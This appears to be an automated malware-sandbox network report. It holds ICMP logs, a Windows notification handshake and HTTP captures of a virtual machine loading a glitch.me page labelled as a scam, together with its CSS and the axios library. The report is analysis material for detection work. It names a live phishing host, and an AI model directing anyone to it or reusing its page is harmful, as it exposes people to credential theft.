Preview:	......JFIF.....`.`........t.t...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz............................................................................................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO............?...s......@......../j.(..Z.u.!.P.R.......#n...........@..!.........;P0...C..(....3..J.1@.h..@....P.P.@.......S.(......(.h.h.h.h.E.-.(....wz.u0.S...!h.h..Z`(...`- .P...P.7wKo.H.8....]\j..bR...Lf...."[.....s...Q....TQ.f..u....Fw9K.w...J.e....FG%A..3..X...J.%.*...P.h..(.h..Z.u.!....4.m........\|..R......J.J.Q@..........v@.h.....h...xaE.ah.4...P .a@..%.....P.@....J.(......Z.Z.Z.Z.Q@.@.

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 12, 2025 01:28:12.881628990 CET	192.168.2.6	1.1.1.1	c2c5	(Port unreachable)	Destination Unreachable
Jan 12, 2025 01:28:15.124613047 CET	192.168.2.6	1.1.1.1	c2e0	(Port unreachable)	Destination Unreachable
Jan 12, 2025 01:28:19.963973045 CET	192.168.2.6	1.1.1.1	c2ac	(Port unreachable)	Destination Unreachable
Jan 12, 2025 01:28:21.327333927 CET	192.168.2.6	1.1.1.1	c24b	(Port unreachable)	Destination Unreachable
Jan 12, 2025 01:28:25.000788927 CET	192.168.2.6	1.1.1.1	c24c	(Port unreachable)	Destination Unreachable
Jan 12, 2025 01:28:39.005323887 CET	192.168.2.6	1.1.1.1	c267	(Port unreachable)	Destination Unreachable
Jan 12, 2025 01:28:42.245064974 CET	192.168.2.6	1.1.1.1	c292	(Port unreachable)	Destination Unreachable
Jan 12, 2025 01:28:51.778625965 CET	192.168.2.6	1.1.1.1	c2ac	(Port unreachable)	Destination Unreachable
Jan 12, 2025 01:28:56.837040901 CET	192.168.2.6	1.1.1.1	c2d4	(Port unreachable)	Destination Unreachable
Jan 12, 2025 01:29:01.612483025 CET	192.168.2.6	1.1.1.1	c226	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:27:50 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4e 56 50 36 51 56 79 73 55 55 71 77 6a 55 5a 4b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 65 35 39 30 37 38 34 39 32 38 30 32 33 35 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: NVP6QVysUUqwjUZK.1Context: 6e5907849280235c
2025-01-12 00:27:50 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-12 00:27:50 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4e 56 50 36 51 56 79 73 55 55 71 77 6a 55 5a 4b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 65 35 39 30 37 38 34 39 32 38 30 32 33 35 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 32 38 61 71 61 2b 59 31 32 54 4a 69 33 32 7a 50 47 62 55 56 32 2b 6a 58 44 2f 74 51 66 77 53 70 6e 56 63 69 70 77 74 49 49 79 37 46 58 4f 4f 5a 35 78 4a 51 4c 42 57 62 41 75 45 67 79 2b 68 57 68 68 6a 62 76 77 66 54 30 75 2f 79 54 51 78 54 49 38 6d 58 50 70 7a 43 49 6d 70 67 4a 35 47 53 59 47 6b 59 77 6a 63 4b 33 68 48 30 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: NVP6QVysUUqwjUZK.2Context: 6e5907849280235c<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAV28aqa+Y12TJi32zPGbUV2+jXD/tQfwSpnVcipwtIIy7FXOOZ5xJQLBWbAuEgy+hWhhjbvwfT0u/yTQxTI8mXPpzCImpgJ5GSYGkYwjcK3hH0
2025-01-12 00:27:50 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4e 56 50 36 51 56 79 73 55 55 71 77 6a 55 5a 4b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 65 35 39 30 37 38 34 39 32 38 30 32 33 35 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: NVP6QVysUUqwjUZK.3Context: 6e5907849280235c<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-12 00:27:50 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-12 00:27:50 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 69 51 47 61 37 7a 77 6c 35 45 75 66 4a 4a 63 2f 6c 5a 74 5a 46 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: iQGa7zwl5EufJJc/lZtZFg.0Payload parsing failed.

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:27:55 UTC	676	OUT	GET / HTTP/1.1 Host: terrific-metal-countess.glitch.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:27:56 UTC	506	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 00:27:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 4178 Connection: close x-amz-id-2: JFZwyXukUwnVrlcy+tl66Yq0W4NEifD3qg79mulBf+crZI8QwGZLzHu/P+hYgznygk1KMSZMCv8= x-amz-request-id: Q5PRA2WY1XJH5AXR last-modified: Mon, 30 Dec 2024 23:29:42 GMT etag: "91424c6bbb4057312c24178885ebf050" x-amz-server-side-encryption: AES256 cache-control: no-cache x-amz-version-id: ynD8tL6orIQE0WEztzZS_wWgC2RtaYh_ accept-ranges: bytes server: AmazonS3
2025-01-12 00:27:56 UTC	4178	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6c 69 6e 6b 0a 20 20 20 20 20 20 72 65 6c 3d 22 69 63 6f 6e 22 0a 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 67 6c 69 74 63 68 2e 67 6c 6f 62 61 6c 2f 36 31 39 62 62 66 33 66 2d 30 38 33 32 2d 34 32 33 38 2d 39 30 64 61 2d 33 63 35 64 66 63 35 33 62 64 31 39 2f 32 32 66 61 76 69 63 6f 6e 2e 70 6e 67 3f 76 3d 31 37 31 34 32 38 36 35 30 39 30 34 37 22 0a 20 20 20 20 20 20 74 79 70 65 3d 22 53 43 41 4d 2f 66 61 76 69 63 6f 6e 2e 70 6e 67 22 0a 20 20 20 20 20 20 73 69 7a 65 73 3d 22 31 36 78 31 36 22 20 20 20 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <link rel="icon" href="https://cdn.glitch.global/619bbf3f-0832-4238-90da-3c5dfc53bd19/22favicon.png?v=1714286509047" type="SCAM/favicon.png" sizes="16x16" /> <meta name="viewport" content

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:27:56 UTC	575	OUT	GET /estilo.css HTTP/1.1 Host: terrific-metal-countess.glitch.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://terrific-metal-countess.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:27:56 UTC	537	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 00:27:56 GMT Content-Type: text/css; charset=utf-8 Content-Length: 3805 Connection: close x-amz-id-2: Z5OJJP8I3y2dmCIbCOdD6dwijM34MSR6YobQb1SNa5LfuCHAkte0CPqQTWUXSzyRWBHu2caFbJBZw/57vXipF5S9RdzMuPTAZeb+PuAGr6o= x-amz-request-id: Q5PP7CZ8GTEK3EKN last-modified: Mon, 30 Dec 2024 23:29:42 GMT etag: "bf6b4be3b08d5cd7c5d97d1eeff14281" x-amz-server-side-encryption: AES256 cache-control: no-cache x-amz-version-id: YhVywLzizUgq47KGVKjYsnv.6sBviPe8 accept-ranges: bytes server: AmazonS3
2025-01-12 00:27:56 UTC	3805	IN	Data Raw: 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2f 32 32 62 61 63 6b 67 72 6f 75 6e 64 2e 73 76 67 29 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0a 20 20 20 20 0a 7d 0a 0a 2e 67 65 6e 65 72 61 6c 43 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 Data Ascii: body { background: url(./22background.svg); background-repeat: no-repeat; background-size: cover; }.generalContainer { width: 100%; height: 100vh; display: flex; justify-content: center; align-items: center;}.cont

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:27:56 UTC	566	OUT	GET /npm/axios@1.1.2/dist/axios.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://terrific-metal-countess.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:27:56 UTC	775	IN	HTTP/1.1 200 OK Connection: close Content-Length: 26580 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 1.1.2 X-JSD-Version-Type: version ETag: W/"67d4-ae22gWc+WteU0z+fBbiwjqlAwTs" Accept-Ranges: bytes Age: 2212515 Date: Sun, 12 Jan 2025 00:27:56 GMT X-Served-By: cache-fra-eddf8230112-FRA, cache-nyc-kteb1890050-NYC X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-01-12 00:27:56 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 65 7c 7c 73 65 6c 66 29 2e 61 78 69 6f 73 3d 74 28 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 65 3d 22 66 Data Ascii: !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).axios=t()}(this,(function(){"use strict";function e(t){return e="f
2025-01-12 00:27:56 UTC	1378	IN	Data Raw: 65 74 75 72 6e 21 28 6e 75 6c 6c 21 3d 3d 74 26 26 74 21 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 26 26 6e 75 6c 6c 21 3d 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 7c 7c 53 79 6d 62 6f 6c 2e 74 6f 53 74 72 69 6e 67 54 61 67 20 69 6e 20 65 7c 7c 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 20 69 6e 20 65 29 7d 2c 67 3d 63 28 22 44 61 74 65 22 29 2c 45 3d 63 28 22 46 69 6c 65 22 29 2c 77 3d 63 28 22 42 6c 6f 62 22 29 2c 4f 3d 63 28 22 46 69 6c 65 4c 69 73 74 22 29 2c 52 3d 63 28 22 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 22 29 3b 66 75 6e 63 74 69 6f 6e 20 53 28 74 2c 6e 29 7b 76 61 72 20 72 2c 6f 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d Data Ascii: eturn!(null!==t&&t!==Object.prototype&&null!==Object.getPrototypeOf(t)\|\|Symbol.toStringTag in e\|\|Symbol.iterator in e)},g=c("Date"),E=c("File"),w=c("Blob"),O=c("FileList"),R=c("URLSearchParams");function S(t,n){var r,o,i=arguments.length>2&&void 0!==argum
2025-01-12 00:27:56 UTC	1378	IN	Data Raw: 42 6f 6f 6c 65 61 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 7c 7c 21 31 3d 3d 3d 65 7d 2c 69 73 4f 62 6a 65 63 74 3a 79 2c 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 3a 62 2c 69 73 55 6e 64 65 66 69 6e 65 64 3a 64 2c 69 73 44 61 74 65 3a 67 2c 69 73 46 69 6c 65 3a 45 2c 69 73 42 6c 6f 62 3a 77 2c 69 73 52 65 67 45 78 70 3a 43 2c 69 73 46 75 6e 63 74 69 6f 6e 3a 6d 2c 69 73 53 74 72 65 61 6d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 79 28 65 29 26 26 6d 28 65 2e 70 69 70 65 29 7d 2c 69 73 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3a 52 2c 69 73 54 79 70 65 64 41 72 72 61 79 3a 6a 2c 69 73 46 69 6c 65 4c 69 73 74 3a 4f 2c 66 6f 72 45 61 63 68 3a 53 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 20 65 28 29 Data Ascii: Boolean:function(e){return!0===e\|\|!1===e},isObject:y,isPlainObject:b,isUndefined:d,isDate:g,isFile:E,isBlob:w,isRegExp:C,isFunction:m,isStream:function(e){return y(e)&&m(e.pipe)},isURLSearchParams:R,isTypedArray:j,isFileList:O,forEach:S,merge:function e()
2025-01-12 00:27:56 UTC	1378	IN	Data Raw: 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 69 66 28 6c 28 65 29 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 74 3d 65 2e 6c 65 6e 67 74 68 3b 69 66 28 21 76 28 74 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 66 6f 72 28 76 61 72 20 6e 3d 6e 65 77 20 41 72 72 61 79 28 74 29 3b 74 2d 2d 20 3e 30 3b 29 6e 5b 74 5d 3d 65 5b 74 5d 3b 72 65 74 75 72 6e 20 6e 7d 2c 66 6f 72 45 61 63 68 45 6e 74 72 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 2c 72 3d 28 65 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2e 63 61 6c 6c 28 65 29 3b 28 6e 3d 72 2e 6e 65 78 74 28 29 29 26 26 21 6e 2e 64 6f 6e 65 3b 29 7b 76 61 72 20 6f 3d 6e 2e 76 61 6c 75 65 3b 74 2e 63 61 6c 6c 28 65 2c 6f 5b 30 5d 2c 6f 5b 31 5d 29 7d 7d 2c 6d 61 74 63 68 41 6c Data Ascii: )return null;if(l(e))return e;var t=e.length;if(!v(t))return null;for(var n=new Array(t);t-- >0;)n[t]=e[t];return n},forEachEntry:function(e,t){for(var n,r=(e&&e[Symbol.iterator]).call(e);(n=r.next())&&!n.done;){var o=n.value;t.call(e,o[0],o[1])}},matchAl
2025-01-12 00:27:56 UTC	1378	IN	Data Raw: 73 74 61 63 6b 3a 74 68 69 73 2e 73 74 61 63 6b 2c 63 6f 6e 66 69 67 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2c 63 6f 64 65 3a 74 68 69 73 2e 63 6f 64 65 2c 73 74 61 74 75 73 3a 74 68 69 73 2e 72 65 73 70 6f 6e 73 65 26 26 74 68 69 73 2e 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 3f 74 68 69 73 2e 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 3a 6e 75 6c 6c 7d 7d 7d 29 3b 76 61 72 20 42 3d 5f 2e 70 72 6f 74 6f 74 79 70 65 2c 44 3d 7b 7d 3b 5b 22 45 52 52 5f 42 41 44 5f 4f 50 54 49 4f 4e 5f 56 41 4c 55 45 22 2c 22 45 52 52 5f 42 41 44 5f 4f 50 54 49 4f 4e 22 2c 22 45 43 4f 4e 4e 41 42 4f 52 54 45 44 22 2c 22 45 54 49 4d 45 44 4f 55 54 22 2c 22 45 52 52 5f 4e 45 54 57 4f 52 4b 22 2c 22 45 52 52 5f 46 52 5f 54 4f 4f 5f 4d 41 4e 59 5f 52 45 44 49 52 45 43 54 53 Data Ascii: stack:this.stack,config:this.config,code:this.code,status:this.response&&this.response.status?this.response.status:null}}});var B=_.prototype,D={};["ERR_BAD_OPTION_VALUE","ERR_BAD_OPTION","ECONNABORTED","ETIMEDOUT","ERR_NETWORK","ERR_FR_TOO_MANY_REDIRECTS
2025-01-12 00:27:56 UTC	1378	IN	Data Raw: 62 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 42 6c 6f 62 26 26 42 6c 6f 62 29 26 26 28 28 6f 3d 6e 29 26 26 50 2e 69 73 46 75 6e 63 74 69 6f 6e 28 6f 2e 61 70 70 65 6e 64 29 26 26 22 46 6f 72 6d 44 61 74 61 22 3d 3d 3d 6f 5b 53 79 6d 62 6f 6c 2e 74 6f 53 74 72 69 6e 67 54 61 67 5d 26 26 6f 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 3b 69 66 28 21 50 2e 69 73 46 75 6e 63 74 69 6f 6e 28 73 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 76 69 73 69 74 6f 72 20 6d 75 73 74 20 62 65 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 65 29 72 65 74 75 72 6e 22 22 3b 69 66 28 50 2e 69 73 44 61 74 65 28 65 29 29 72 65 74 75 72 6e 20 65 2e 74 6f Data Ascii: b\|\|"undefined"!=typeof Blob&&Blob)&&((o=n)&&P.isFunction(o.append)&&"FormData"===o[Symbol.toStringTag]&&o[Symbol.iterator]);if(!P.isFunction(s))throw new TypeError("visitor must be a function");function f(e){if(null===e)return"";if(P.isDate(e))return e.to
2025-01-12 00:27:56 UTC	1378	IN	Data Raw: 2e 72 65 70 6c 61 63 65 28 2f 5b 21 27 28 29 7e 5d 7c 25 32 30 7c 25 30 30 2f 67 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 5b 65 5d 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 74 29 7b 74 68 69 73 2e 5f 70 61 69 72 73 3d 5b 5d 2c 65 26 26 7a 28 65 2c 74 68 69 73 2c 74 29 7d 76 61 72 20 4a 3d 4d 2e 70 72 6f 74 6f 74 79 70 65 3b 66 75 6e 63 74 69 6f 6e 20 48 28 65 29 7b 72 65 74 75 72 6e 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 2e 72 65 70 6c 61 63 65 28 2f 25 33 41 2f 67 69 2c 22 3a 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 34 2f 67 2c 22 24 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 69 2c 22 2c 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 30 2f 67 2c 22 2b 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 Data Ascii: .replace(/[!'()~]\|%20\|%00/g,(function(e){return t[e]}))}function M(e,t){this._pairs=[],e&&z(e,this,t)}var J=M.prototype;function H(e){return encodeURIComponent(e).replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",").replace(/%20/g,"+").replace(/%
2025-01-12 00:27:56 UTC	1378	IN	Data Raw: 26 22 4e 61 74 69 76 65 53 63 72 69 70 74 22 21 3d 3d 57 26 26 22 4e 53 22 21 3d 3d 57 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2c 59 3d 7b 69 73 42 72 6f 77 73 65 72 3a 21 30 2c 63 6c 61 73 73 65 73 3a 7b 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3a 24 2c 46 6f 72 6d 44 61 74 61 3a 51 2c 42 6c 6f 62 3a 42 6c 6f 62 7d 2c 69 73 53 74 61 6e 64 61 72 64 42 72 6f 77 73 65 72 45 6e 76 3a 47 2c 70 72 6f 74 6f 63 6f 6c 73 3a 5b 22 68 74 74 70 22 2c 22 68 74 74 70 73 22 2c 22 66 69 6c 65 22 2c 22 62 6c 6f 62 22 2c 22 75 72 6c 22 2c 22 64 61 74 61 22 5d 7d 3b 66 75 6e 63 74 69 6f 6e 20 5a 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 Data Ascii: &"NativeScript"!==W&&"NS"!==W)&&"undefined"!=typeof window&&"undefined"!=typeof document,Y={isBrowser:!0,classes:{URLSearchParams:$,FormData:Q,Blob:Blob},isStandardBrowserEnv:G,protocols:["http","https","file","blob","url","data"]};function Z(e){function
2025-01-12 00:27:56 UTC	1378	IN	Data Raw: 64 2b 5c 2d 2e 5d 2a 3a 29 3f 5c 2f 5c 2f 2f 69 2e 74 65 73 74 28 74 29 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3f 65 2e 72 65 70 6c 61 63 65 28 2f 5c 2f 2b 24 2f 2c 22 22 29 2b 22 2f 22 2b 74 2e 72 65 70 6c 61 63 65 28 2f 5e 5c 2f 2b 2f 2c 22 22 29 3a 65 7d 28 65 2c 74 29 3a 74 7d 76 61 72 20 6e 65 3d 59 2e 69 73 53 74 61 6e 64 61 72 64 42 72 6f 77 73 65 72 45 6e 76 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 3d 2f 28 6d 73 69 65 7c 74 72 69 64 65 6e 74 29 2f 69 2e 74 65 73 74 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 2c 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 76 61 72 20 72 3d 65 3b 72 65 74 75 72 6e Data Ascii: d+\-.]*:)?\/\//i.test(t)?function(e,t){return t?e.replace(/\/+$/,"")+"/"+t.replace(/^\/+/,""):e}(e,t):t}var ne=Y.isStandardBrowserEnv?function(){var e,t=/(msie\|trident)/i.test(navigator.userAgent),n=document.createElement("a");function r(e){var r=e;return
